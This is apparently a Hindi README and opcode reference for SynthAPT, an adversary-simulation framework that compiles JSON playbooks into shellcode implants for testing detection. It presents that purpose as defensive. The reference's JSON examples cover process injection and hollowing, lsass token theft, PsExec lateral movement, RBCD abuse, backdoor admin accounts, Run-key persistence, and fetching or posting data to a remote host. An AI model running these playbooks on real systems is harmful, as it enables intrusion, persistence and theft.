प्लेबुक-आधारित प्रतिद्वंद्वी सिमुलेशन फ्रेमवर्क जो JSON-परिभाषित हमले के पथों को स्थिति-स्वतंत्र शेलकोड पेलोड में संकलित करता है, उन्नत डिटेक्शन और AI-आधारित जांच एजेंटों को मान्य करने के लिए।
SynthAPT जटिल हमले के पथों को दोहराने के लिए एक प्लेबुक-आधारित प्रतिद्वंद्वी सिमुलेशन फ्रेमवर्क है। इसे उन्नत डिटेक्शन और AI-आधारित जांच एजेंटों को मान्य करने के लिए डिज़ाइन किया गया है। मुख्य विचार यह है कि मैलवेयर व्यवहार को JSON में व्यक्त किया जा सकता है और कार्यात्मक मैलवेयर में संकलित किया जा सकता है, जिससे LLMs का उपयोग करके यथार्थवादी परिदृश्यों का तेजी से विकास संभव हो सके।
कोर इम्प्लांट एक शेलकोड पेलोड है जो प्लेबुक इंटरप्रेटर द्वारा संचालित होता है। एक प्लेबुक पूरे हमले के पथ को पूर्वनिर्धारित करती है और इम्प्लांट उसका अनुसरण करता है, प्रोसेस इंजेक्शन, लेटरल मूवमेंट आदि के माध्यम से वातावरण में घूमता है। प्रत्येक इम्प्लांट अपने स्वयं के निर्देश सेट के साथ एक स्वतंत्र थ्रेड के रूप में उत्पन्न होता है, इसलिए बहु-चरणीय हमले (जैसे प्रारंभिक पहुंच → प्रिविलेज एस्केलेशन → लेटरल मूवमेंट → एक्सफिल्ट्रेशन) सहयोगात्मक इम्प्लांट के ग्राफ के रूप में व्यक्त किए जाते हैं, जो सभी प्लेबुक में पहले से परिभाषित होते हैं। इसके तीन प्रमुख लाभ हैं:
यदि आप रिलीज़ का उपयोग नहीं करना चाहते हैं तो आप इसे इस प्रकार संकलित कर सकते हैं:
cargo make के साथ बनाएँ:```bash
cargo make build
./target/release/synthapt
यह शेलकोड और संपादक को संकलित करेगा।
बिना किसी कमांड के SynthAPT चलाने से आप संपादक में प्रवेश कर जाएंगे। आप एक Claude API कुंजी प्रदान कर सकते हैं और प्रॉम्प्ट करते समय परिवर्तन देख सकते हैं।```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
यदि आप किसी अन्य LLM या सब्सक्रिप्शन का उपयोग करना चाहते हैं, तो आप `synthapt export-skill` चला सकते हैं और इसे अपने किसी भी कोडिंग सेटअप के साथ उपयोग कर सकते हैं। इससे एक JSON प्लेबुक निकलनी चाहिए। इसे compile कमांड से पेलोड में कंपाइल करें:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Constants can be defined as strings, hex objects, or base64 objects:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
कार्य सेट का अंत। संकलक द्वारा स्वचालित रूप से जोड़ा गया - आपको इसे जोड़ने की आवश्यकता नहीं है।
---
### store_result (0x01)
अंतिम संचालन परिणाम को एक चर में संग्रहीत करें।
| Field | Type | |
|-------|------|-|
| var | u16 | **आवश्यक** |```json
{ "op": "store_result", "var": 0 }
वर्तमान शेलकोड बाइट्स को एक वैकल्पिक task ID और/या magic value के साथ पैच करके लौटाएं।
| फ़ील्ड | प्रकार | |
|---|---|---|
| task | u8 | वैकल्पिक |
| magic | u32 हेक्स स्ट्रिंग या संख्या | वैकल्पिक |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
### स्लीप (0x03)
दिए गए मिलीसेकंड की संख्या के लिए सोएं।
| क्षेत्र | प्रकार | |
|---------|--------|-|
| ms | u32 | **आवश्यक** |```json
{ "op": "sleep", "ms": 5000 }
| फ़ील्ड | प्रकार | |
|---|---|---|
| command | string | आवश्यक |
| { "op": "run_command", "command": "whoami /all" } |
### get_cwd (0x05)
वर्तमान कार्य निर्देशिका प्राप्त करें। कोई तर्क नहीं।```json
{ "op": "get_cwd" }
एक फ़ाइल पढ़ें और उसकी सामग्री लौटाएँ।
| फ़ील्ड | प्रकार | |
|---|---|---|
| path | string | आवश्यक |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
एक फ़ाइल में बाइट्स लिखें।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| content | bytes | *वैकल्पिक* (यदि छोड़ दिया जाए तो खाली फ़ाइल) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
एक चर का स्थिति कोड प्रिंट करें (0 = सफलता, गैर-शून्य = त्रुटि)।
| फ़ील्ड | प्रकार | |
|---|---|---|
| var | u16 | आवश्यक |
| { "op": "check_error", "var": 0 } |
---
### conditional (0x09)
चर स्थिति के आधार पर विभिन्न कार्य सूचकांकों पर शाखा।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| mode | `"data"` या `"error"` | **आवश्यक** |
| var1 | u16 | **आवश्यक** |
| var2 | u16 | *वैकल्पिक* (एकल जाँच के बजाय दो चरों की तुलना करें) |
| true | u16 | **आवश्यक** (यदि स्थिति सत्य है तो कार्य सूचकांक) |
| false | u16 | **आवश्यक** (यदि स्थिति असत्य है तो कार्य सूचकांक) |
`true_target` और `false_target` को `true` और `false` के उपनाम के रूप में स्वीकार किया जाता है।
एकल-चर मोड:
- `"data"` — सत्य यदि var1 में गैर-रिक्त डेटा है
- `"error"` — सत्य यदि var1 की स्थिति 0 है (सफलता)
दो-चर मोड (var2 मौजूद):
- `"data"` — सत्य यदि var1 डेटा var2 डेटा के बराबर है
- `"error"` — सत्य यदि var1 त्रुटि कोड var2 त्रुटि कोड के बराबर है```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
एक वेरिएबल को शाब्दिक मान पर सेट करें।
| फ़ील्ड | प्रकार | |
|---|---|---|
| var | u16 | आवश्यक |
| data | bytes | वैकल्पिक (यदि छोड़ा गया तो खाली) |
शाब्दिक स्ट्रिंग और हेक्स/बेस64 मानों को 5-बाइट परिणाम उपसर्ग के साथ संग्रहीत किया जाता है, ताकि पढ़े जाने पर वे सामान्य संचालन परिणामों की तरह दिखें। वेरिएबल ($n) और स्थिरांक (%n) संदर्भों को यथावत पारित किया जाता है।```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
stdout पर एक वेरिएबल की सामग्री प्रिंट करें (डीबग)। अंतिम ऑपरेशन परिणाम प्रिंट करने के लिए `var` को छोड़ दें।
| Field | Type | |
|-------|------|-|
| var | u16 | *वैकल्पिक* (अनुपस्थित होने पर अंतिम परिणाम प्रिंट करता है) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
वर्तमान कार्य सेट के भीतर किसी कार्य सूचकांक पर बिना शर्त कूद।
| फ़ील्ड | प्रकार | |
|---|---|---|
| target | u16 | आवश्यक |
| { "op": "goto", "target": 2 } |
---
### माइग्रेट (0x0D)
खोज स्ट्रिंग या PID से मेल खाने वाली प्रक्रिया में शेलकोड इंजेक्ट करें।
| फील्ड | प्रकार | |
|-------|------|-|
| task_id | u8 | **आवश्यक** |
| search | स्ट्रिंग या संख्या | *वैकल्पिक* (खाली = कोई खोज नहीं; संख्या = लक्ष्य PID) |
| magic | u32 हेक्स स्ट्रिंग या संख्या | *वैकल्पिक* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
चल रही प्रक्रियाओं को सूचीबद्ध करें। टैब-पृथक पंक्तियाँ लौटाता है: pid\timage\tcmdline\n। कोई तर्क नहीं।```json
{ "op": "list_procs" }
### get_const (0x0F)
अंतिम परिणाम में एक स्थिरांक लोड करें। `index` या `const_idx` को फ़ील्ड नाम के रूप में स्वीकार करता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| index | u16 | **आवश्यक** |```json
{ "op": "get_const", "index": 0 }
WMI के माध्यम से एक कमांड निष्पादित करें, वैकल्पिक रूप से किसी दूरस्थ होस्ट पर।
| फ़ील्ड | प्रकार | |
|---|---|---|
| command | string | आवश्यक |
| host | string | वैकल्पिक (खाली = localhost) |
| user | string | वैकल्पिक (खाली = वर्तमान उपयोगकर्ता) |
| pass | string | वैकल्पिक (खाली = वर्तमान क्रेडेंशियल) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
HTTP/S अनुरोध भेजें।
| क्षेत्र | प्रकार | |
|---------|------|-|
| host | string | **आवश्यक** |
| method | string | *वैकल्पिक* (डिफ़ॉल्ट: `"GET"`) |
| port | u16 | *वैकल्पिक* (डिफ़ॉल्ट: `80`) |
| path | string | *वैकल्पिक* (डिफ़ॉल्ट: `"/"`) |
| secure | bool | *वैकल्पिक* (डिफ़ॉल्ट: `false`) |
| body | bytes | *वैकल्पिक* (यदि छोड़ा गया तो खाली) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
एक प्रोसेस को निलंबित करके स्पॉन करें, शेलकोड इंजेक्ट करें, और इसे फिर से शुरू करें।
| फ़ील्ड | प्रकार | |
|---|---|---|
| image | स्ट्रिंग | आवश्यक |
| task_id | u8 | आवश्यक |
| pipe_name | स्ट्रिंग | वैकल्पिक (आउटपुट कैप्चर के लिए नामित पाइप, \\.\pipe\ उपसर्ग के बिना) |
| search | स्ट्रिंग | वैकल्पिक (PPID स्पूफ करने के लिए प्रक्रिया नाम/कमांड लाइन) |
| no_kill | बूल | वैकल्पिक (डिफ़ॉल्ट: false — इंजेक्शन के बाद प्रक्रिया को मार दिया जाता है) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
### redirect_stdout (0x13)
stdout को किसी फ़ाइल या नामित पाइप पर रीडायरेक्ट करें। बाद के `run_command` का आउटपुट वहाँ जाता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
एक TCP सर्वर प्रारंभ करें जो कनेक्ट करने वाले क्लाइंट को शेलकोड प्रदान करता है। प्रत्येक क्लाइंट को एक बढ़ते जादुई मान के साथ एक प्रतिलिपि प्राप्त होती है।
| फ़ील्ड | प्रकार | |
|---|---|---|
| port | u16 | आवश्यक |
| magic_base | u32 हेक्स स्ट्रिंग या संख्या | वैकल्पिक |
| { "op": "shellcode_server", "port": 8080 } | ||
| { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" } |
---
### resolve_hostname (0x15)
एक होस्टनाम को IPv4 पता स्ट्रिंग में हल करें।
| Field | Type | |
|-------|------|-|
| hostname | string | **आवश्यक** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
SMB के माध्यम से एक रिमोट होस्ट पर बाइनरी कॉपी करें और इसे एक सेवा के रूप में निष्पादित करें (PsExec-शैली पार्श्व गति)।
| क्षेत्र | प्रकार | |
|---|---|---|
| target | string | आवश्यक (hostname या IP) |
| service_name | string | आवश्यक |
| display_name | string | आवश्यक |
| binary_path | string | आवश्यक (रिमोट होस्ट पर पथ) |
| service_bin | bytes | आवश्यक (लिखने के लिए बाइनरी डेटा) |
| { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" } |
---
### generate_exe (0x17)
वर्तमान शेलकोड और बाइटकोड एम्बेडेड के साथ एक PE निष्पादन योग्य जनरेट करें।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| task_id | u8 | **आवश्यक** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
बीकन ऑब्जेक्ट फ़ाइल (BOF) निष्पादित करें।
| फ़ील्ड | प्रकार | |
|---|---|---|
| bof_data | bytes | आवश्यक |
| entry | string | वैकल्पिक (डिफ़ॉल्ट: "go") |
| inputs | bytes | वैकल्पिक (BOF तर्क, छोड़ने पर खाली) |
| { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" } | ||
| { "op": "run_bof", "bof_data": "$0" } |
---
### query_ldap (0x19)
LDAP निर्देशिका क्वेरी करें।
| Field | Type | |
|-------|------|-|
| base | string | **आवश्यक** (आधार DN) |
| filter | string | **आवश्यक** |
| scope | u8 | *वैकल्पिक* (डिफ़ॉल्ट: `2` = सबट्री; `0` = आधार, `1` = एक-स्तर) |
| attribute | string | *वैकल्पिक* (खाली = सभी गुण लौटाएं) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
एक Active Directory विशेषता को एक स्ट्रिंग मान पर सेट करें।
| Field | Type | |
|---|---|---|
| dn | string | आवश्यक |
| attr | string | आवश्यक |
| value | string | आवश्यक |
| { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" } |
---
### set_ad_attr_bin (0x1B)
किसी Active Directory विशेषता को बाइनरी मान पर सेट करें। विशेषता को हटाने के लिए खाली मान दें।
| क्षेत्र | प्रकार | |
|-------|------|-|
| dn | string | **आवश्यक** |
| attr | string | **आवश्यक** |
| value | bytes | **आवश्यक** (खाली = विशेषता हटाएं) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
एक या अधिक लक्ष्यों पर TCP पोर्ट स्कैन करें। केवल खुले पोर्ट के लिए host\tport\n पंक्तियाँ लौटाता है।
| फ़ील्ड | प्रकार | |
|---|---|---|
| targets | string | आवश्यक (अल्पविराम से अलग किए गए IP, CIDR, रेंज या होस्टनाम; उपनाम: host) |
| ports | string | आवश्यक (अल्पविराम से अलग किए गए पोर्ट या रेंज, जैसे "22,80,443,8000-8100") |
| { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" } | ||
| { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" } |
---
### set_user_password (0x1D)
NetUserSetInfo के माध्यम से स्थानीय या डोमेन उपयोगकर्ता का पासवर्ड सेट करें।
| Field | Type | |
|-------|------|-|
| username | string | **required** |
| password | string | **required** |
| server | string | *optional* (खाली = स्थानीय मशीन) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
NetLocalGroupAddMembers के माध्यम से किसी उपयोगकर्ता को स्थानीय समूह में जोड़ें।
| Field | Type | |
|---|---|---|
| group | string | आवश्यक |
| username | string | आवश्यक |
| server | string | वैकल्पिक (खाली = स्थानीय मशीन) |
| { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" } | ||
| { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" } |
---
### remove_user_from_localgroup (0x1F)
NetLocalGroupDelMembers के माध्यम से किसी उपयोगकर्ता को स्थानीय समूह से निकालें।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| group | string | **आवश्यक** |
| username | string | **आवश्यक** |
| server | string | *वैकल्पिक* (खाली = स्थानीय मशीन) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
LookupAccountName के माध्यम से उपयोगकर्ता की SID स्ट्रिंग खोजें।
| Field | Type | |
|---|---|---|
| username | string | आवश्यक |
| server | string | वैकल्पिक (खाली = स्थानीय मशीन) |
SID स्ट्रिंग लौटाता है, उदाहरण: S-1-5-21-...।```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
NetGroupAddUser के माध्यम से एक उपयोगकर्ता को डोमेन समूह में जोड़ें।
| Field | Type | |
|-------|------|-|
| group | string | **आवश्यक** |
| username | string | **आवश्यक** |
| server | string | *वैकल्पिक* (खाली = स्थानीय DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
NetGroupDelUser के माध्यम से एक डोमेन समूह से उपयोगकर्ता को हटाएं।
| फ़ील्ड | प्रकार | |
|---|---|---|
| group | string | आवश्यक |
| username | string | आवश्यक |
| server | string | वैकल्पिक (खाली = स्थानीय DC) |
| { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" } |
---
### create_rbcd_ace (0x23)
Resource-Based Constrained Delegation के लिए बाइनरी ACE बनाएँ। परिणाम `msDS-AllowedToActOnBehalfOfOtherIdentity` पर सीधे लिखने के लिए उपयुक्त है।
| फ़ील्ड | प्रकार | |
|--------|--------|-|
| sid | string | **आवश्यक** (SID स्ट्रिंग, उदाहरण के लिए `get_user_sid` से) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
एक रजिस्ट्री कुंजी बनाएँ।
| Field | Type | |
|---|---|---|
| key | string | आवश्यक (पूर्ण पथ, जैसे "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } |
---
### reg_delete_key (0x25)
एक रजिस्ट्री कुंजी हटाएं।
| Field | Type | |
|-------|------|-|
| key | string | **आवश्यक** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
एक रजिस्ट्री मान सेट करें।
| फ़ील्ड | प्रकार | |
|---|---|---|
| key | string | आवश्यक |
| value_name | string | आवश्यक (डिफ़ॉल्ट मान के लिए खाली स्ट्रिंग) |
| value | bytes | आवश्यक |
| value_type | string | वैकल्पिक (डिफ़ॉल्ट: "REG_SZ"; इसके अलावा: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD) |
| { "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" } | ||
| { "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } } |
---
### reg_query_value (0x27)
रजिस्ट्री मान क्वेरी करें। कच्चे मान बाइट्स लौटाता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| key | string | **आवश्यक** |
| value_name | string | **आवश्यक** (डिफ़ॉल्ट मान के लिए खाली स्ट्रिंग) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
LogonUser के माध्यम से एक प्रतिरूपण टोकन बनाएँ और इसका प्रतिरूपण करें। डिफ़ॉल्ट लॉगन प्रकार 9 (LOGON32_LOGON_NEW_CREDENTIALS) है, जो बाहरी नेटवर्क कनेक्शन के लिए प्रदान की गई क्रेडेंशियल का उपयोग करता है, जबकि स्थानीय टोकन अपरिवर्तित रहता है।
| फ़ील्ड | प्रकार | |
|---|---|---|
| username | string | आवश्यक |
| password | string | आवश्यक |
| domain | string | वैकल्पिक (खाली = वर्कग्रुप या UPN प्रारूप) |
| logon_type | u8 | वैकल्पिक (डिफ़ॉल्ट: 9; 2 = इंटरैक्टिव, 3 = नेटवर्क) |
| { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" } | ||
| { "op": "make_token", "username": "[email protected]", "password": "Password1" } | ||
| { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 } |
---
### impersonate_process (0x29)
एक प्रक्रिया टोकन खोलें और उसका प्रतिरूपण करें। विशेषाधिकार वृद्धि या पार्श्व टोकन चोरी के लिए उपयोगी।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| search | string | **आवश्यक** (छवि नाम या कमांड लाइन से मेल खाता है) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
किसी प्रक्रिया टोकन पर एक विशेषाधिकार सक्षम करें।
| Field | Type | |
|---|---|---|
| privilege | string | आवश्यक (उपनाम: priv_name) |
| search | string | वैकल्पिक (खाली = वर्तमान प्रक्रिया) |
| { "op": "enable_privilege", "privilege": "SeDebugPrivilege" } | ||
| { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" } |
---
### list_process_privs (0x2B)
किसी प्रक्रिया के लिए विशेषाधिकार नामों और उनकी सक्षम/अक्षम स्थिति की सूची बनाएं। `name\tenabled\n` या `name\tdisabled\n` पंक्तियाँ लौटाता है।
| क्षेत्र | प्रकार | |
|-------|------|-|
| search | string | *वैकल्पिक* (खाली = वर्तमान प्रक्रिया) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
वर्तमान थ्रेड टोकन पर विशेषाधिकारों को सूचीबद्ध करता है। list_process_privs के समान प्रारूप में लौटाता है। कोई आर्गुमेंट नहीं।```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
एक फ़ाइल हटाएँ।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
मूल प्रक्रिया टोकन पर वापस जाएं, किसी भी प्रतिरूपण को समाप्त करें। कोई तर्क नहीं।```json { "op": "revert_to_self" }
### start_service (0x2F)
विंडोज सेवा प्रारंभ करें।
| क्षेत्र | प्रकार | |
|-------|------|-|
| service_name | string | **आवश्यक** |
| target | string | *वैकल्पिक* (खाली = स्थानीय मशीन) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
एक Windows सेवा हटाएं।
| फ़ील्ड | प्रकार | |
|---|---|---|
| service_name | string | आवश्यक |
| target | string | वैकल्पिक (खाली = स्थानीय मशीन) |
| { "op": "delete_service", "service_name": "MySvc" } | ||
| { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" } |
---
### create_thread (0x31)
वर्तमान प्रक्रिया में शेलकोड की एक प्रति चलाने वाला एक नया थ्रेड बनाएं। यदि `magic` को छोड़ दिया जाता है, तो मौजूदा इंस्टेंसेज़ से टकराने वाला अद्वितीय मैजिक खोजने के लिए प्रक्रिया हीप्स को स्कैन करता है।
| क्षेत्र | प्रकार | |
|-------|------|-|
| task | u8 | *वैकल्पिक* (छोड़ें या `255` = वर्तमान थ्रेड के समान कार्य सेट) |
| magic | u32 hex string or number | *वैकल्पिक* (छोड़ने पर स्वतः पहचाना जाता है) |
> **चेतावनी**: `task` को छोड़ने पर वर्तमान थ्रेड का वही कार्य सेट नए थ्रेड में चलता है। यदि कार्य सेट फिर से `create_thread` को कॉल करता है, तो इससे अनंत थ्रेड उत्पन्न होते हैं।```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
वर्तमान शेलकोड के साथ एम्बेडेड एक DLL जनरेट करता है। DLL_PROCESS_ATTACH पर शेलकोड चलाता है और एक नामित फ़ंक्शन निर्यात करता है जो भी शेलकोड चलाता है।
| फ़ील्ड | प्रकार | |
|---|---|---|
| task_id | u8 | आवश्यक |
| export_name | string | वैकल्पिक (default: "Run") |
| { "op": "generate_dll", "task_id": 2 }, | ||
| { "op": "store_result", "var": 0 }, | ||
| { "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" } |
### shell_execute (0x33)
एक फ़ाइल को COM के माध्यम से ShellExecuteEx का उपयोग करके निष्पादित करें। परिणामी प्रक्रिया शेल द्वारा लॉन्च की गई प्रतीत होती है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| verb | string | *वैकल्पिक* (उदा. `"open"`, `"runas"`) |
| args | string | *वैकल्पिक* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
ZIP संग्रह को Windows Shell का उपयोग करके निकालें।
| Field | Type | |
|---|---|---|
| path | string | आवश्यक (ZIP फ़ाइल का पथ) |
ZIP के समान नाम (बिना एक्सटेंशन के) वाले फ़ोल्डर में उसी निर्देशिका में निकालता है।```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
explorer.exe को पैरेंट प्रक्रिया के रूप में उपयोग करके COM के माध्यम से एक फ़ाइल निष्पादित करें। उत्पन्न प्रक्रिया उपयोगकर्ता द्वारा Explorer से लॉन्च की गई प्रतीत होती है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| path | string | **आवश्यक** |
| verb | string | *वैकल्पिक* |
| args | string | *वैकल्पिक* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
LoadLibraryW के माध्यम से वर्तमान प्रक्रिया में एक DLL लोड करें।
| फ़ील्ड | प्रकार | |
|---|---|---|
| path | string | आवश्यक |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } |
---
### pyexec (0x37)
एक URL से Python DLL डाउनलोड करें (पहले डाउनलोड के बाद मेमोरी में कैश), फिर एक Python स्क्रिप्ट निष्पादित करें। सभी एजेंट opcodes के लिए बाइंडिंग के साथ एक `agent` मॉड्यूल प्रकट करता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| url | string | *वैकल्पिक* (Python DLL का URL; खाली = पहले से लोड किए गए Python का उपयोग करें) |
| script | string | *वैकल्पिक* (निष्पादित करने के लिए Python कोड; खाली = चलाए बिना प्रारंभ करें) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
प्रक्रिया होलोइंग: एक वैध प्रक्रिया को रोकी हुई अवस्था में चालू करना, उसके प्रवेश बिंदु को शेलकोड से अधिलेखित करना, और फिर से शुरू करना।
| क्षेत्र | प्रकार | |
|---|---|---|
| image | string | आवश्यक |
| task_id | u8 | आवश्यक |
| search | string | वैकल्पिक (PPID को नकली बनाने के लिए प्रक्रिया का नाम/cmdline) |
| { "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 } | ||
| { "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" } |
### migrate_apc (0x39)
एक प्रक्रिया को सस्पेंडेड रूप में स्पॉन करें, RWX मेमोरी आवंटित करें, शेलकोड लिखें, मुख्य थ्रेड में एक APC को क्यू करें, और रिज़्यूम करें। स्पॉन की गई प्रक्रिया का PID लौटाता है।
| Field | Type | |
|-------|------|-|
| image | string | **आवश्यक** |
| task_id | u8 | **आवश्यक** |
| magic | u32 hex string or number | *वैकल्पिक* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
StartServiceCtrlDispatcher को कॉल करके वर्तमान प्रक्रिया को Windows सेवा के रूप में पंजीकृत करें। जब प्रक्रिया Service Control Manager द्वारा प्रारंभ की जाती है, तब इसे जल्दी कॉल किया जाना चाहिए, अन्यथा SCM इसे लगभग 30 सेकंड के बाद समाप्त कर देगा। पृष्ठभूमि थ्रेड में SCM संचार चलाता है ताकि मुख्य कार्य सेट सामान्य रूप से जारी रहे।
| Field | Type | |
|---|---|---|
| service_name | string | आवश्यक (उपनाम: name) |
| { "op": "register_service", "service_name": "MySvc" } |
---
### exit_process (0x3B)
वर्तमान प्रक्रिया को समाप्त करें।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| exit_code | u32 | *वैकल्पिक* (डिफ़ॉल्ट: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
एक प्रक्रिया को सस्पेंडेड करें और APC के माध्यम से शेलकोड इंजेक्ट करें। migrate_apc के समान लेकिन वैकल्पिक PPID स्पूफिंग के साथ।
| फ़ील्ड | प्रकार | |
|---|---|---|
| image | string | आवश्यक |
| task_id | u8 | आवश्यक |
| search | string | वैकल्पिक (PPID को स्पूफ करने के लिए प्रक्रिया नाम/कमांड लाइन) |
